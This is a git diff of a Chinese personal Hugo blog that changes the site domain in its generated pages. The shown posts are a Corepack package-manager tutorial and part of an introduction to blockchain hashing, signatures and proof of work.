class=post-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）</p><p>corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）</p><p>corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）</p><p>手动安装</p><pre><code>npm install -g corepack
-</code></pre><p>如果全局已经安装了yarn或者pnpm的话，需要先卸载</p><pre><code>npm uninstall -g yarn pnpm
-</code></pre><p>启用corepack</p><pre><code>corepack enable
-</code></pre><p>限制包管理器版本</p><p>package.json</p><pre><code>&quot;packageManager&quot;: &quot;yarn@1.22.19&quot;
-</code></pre><p>表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn</p><p>默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理</p><p>修改packageManager的值后，yarn install，会自动安装指定版本</p><p>安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）</p><pre><code>yarn install
-</code></pre><p>指定一个新的包管理器</p><pre><code>corepack prepare pnpm@7.13.5 --activate
-</code></pre><p>使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）</p><p>获取</p><pre><code>corepack prepare --all -o=D:/demo/test.tgz
-</code></pre><p>启动压缩包内的包</p><pre><code>corepack hydrate D:/demo/test.tgz
-</code></pre><p>或者获取完成后立刻使用</p><pre><code>corepack hydrate D:/demo/test.tgz --activate</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/node.js/>node.js</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/150/><span class=title>« Prev</span><br><span>简单使用Scoop包管理器</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/148/><span class=title>Next »</span><br><span>编译原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Corepack-包管理器的管理器","item":"https://chenjunlinabc.github.io/posts/149/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Corepack-包管理器的管理器","name":"简单使用Corepack-包管理器的管理器","description":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm 启用corepack\ncorepack enable 限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install 指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","keywords":["node.js"],"articleBody":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm 启用corepack\ncorepack enable 限制包管理器版本\npackage.json\n\"packageManager\": \"yarn@1.22.19\" 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install 指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","wordCount":"60","inLanguage":"en","datePublished":"2022-05-13T00:09:00Z","dateModified":"2022-05-13T00:09:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/149/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Corepack-包管理器的管理器</h1><div class=post-meta><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Corepack-%e5%8c%85%e7%ae%a1%e7%90%86%e5%99%a8%e7%9a%84%e7%ae%a1%e7%90%86%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Corepack（管理yarn和pnpm的包管理器的管理器）</p><p>corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）</p><p>corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）</p><p>手动安装</p><pre><code>npm install -g corepack
+</code></pre><p>如果全局已经安装了yarn或者pnpm的话，需要先卸载</p><pre><code>npm uninstall -g yarn pnpm
+</code></pre><p>启用corepack</p><pre><code>corepack enable
+</code></pre><p>限制包管理器版本</p><p>package.json</p><pre><code>&quot;packageManager&quot;: &quot;yarn@1.22.19&quot;
+</code></pre><p>表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn</p><p>默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理</p><p>修改packageManager的值后，yarn install，会自动安装指定版本</p><p>安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）</p><pre><code>yarn install
+</code></pre><p>指定一个新的包管理器</p><pre><code>corepack prepare pnpm@7.13.5 --activate
+</code></pre><p>使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）</p><p>获取</p><pre><code>corepack prepare --all -o=D:/demo/test.tgz
+</code></pre><p>启动压缩包内的包</p><pre><code>corepack hydrate D:/demo/test.tgz
+</code></pre><p>或者获取完成后立刻使用</p><pre><code>corepack hydrate D:/demo/test.tgz --activate</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/node.js/>node.js</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/150/><span class=title>« Prev</span><br><span>简单使用Scoop包管理器</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/148/><span class=title>Next »</span><br><span>编译原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/15/index.html b/posts/15/index.html
index 4a44c451..979708a3 100644
--- a/posts/15/index.html
+++ b/posts/15/index.html
@@ -49,8 +49,8 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/15/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单理解区块链的基本原理"><meta property="og:description" content="注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/15/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单理解区块链的基本原理"><meta property="og:description" content="注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -101,7 +101,7 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/15/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:27:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:27:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单理解区块链的基本原理"><meta name=twitter:description content="注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/15/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:27:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:27:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单理解区块链的基本原理"><meta name=twitter:description content="注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -152,8 +152,8 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单理解区块链的基本原理","item":"https://xiaochenabc123.github.io/posts/15/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单理解区块链的基本原理","name":"简单理解区块链的基本原理","description":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 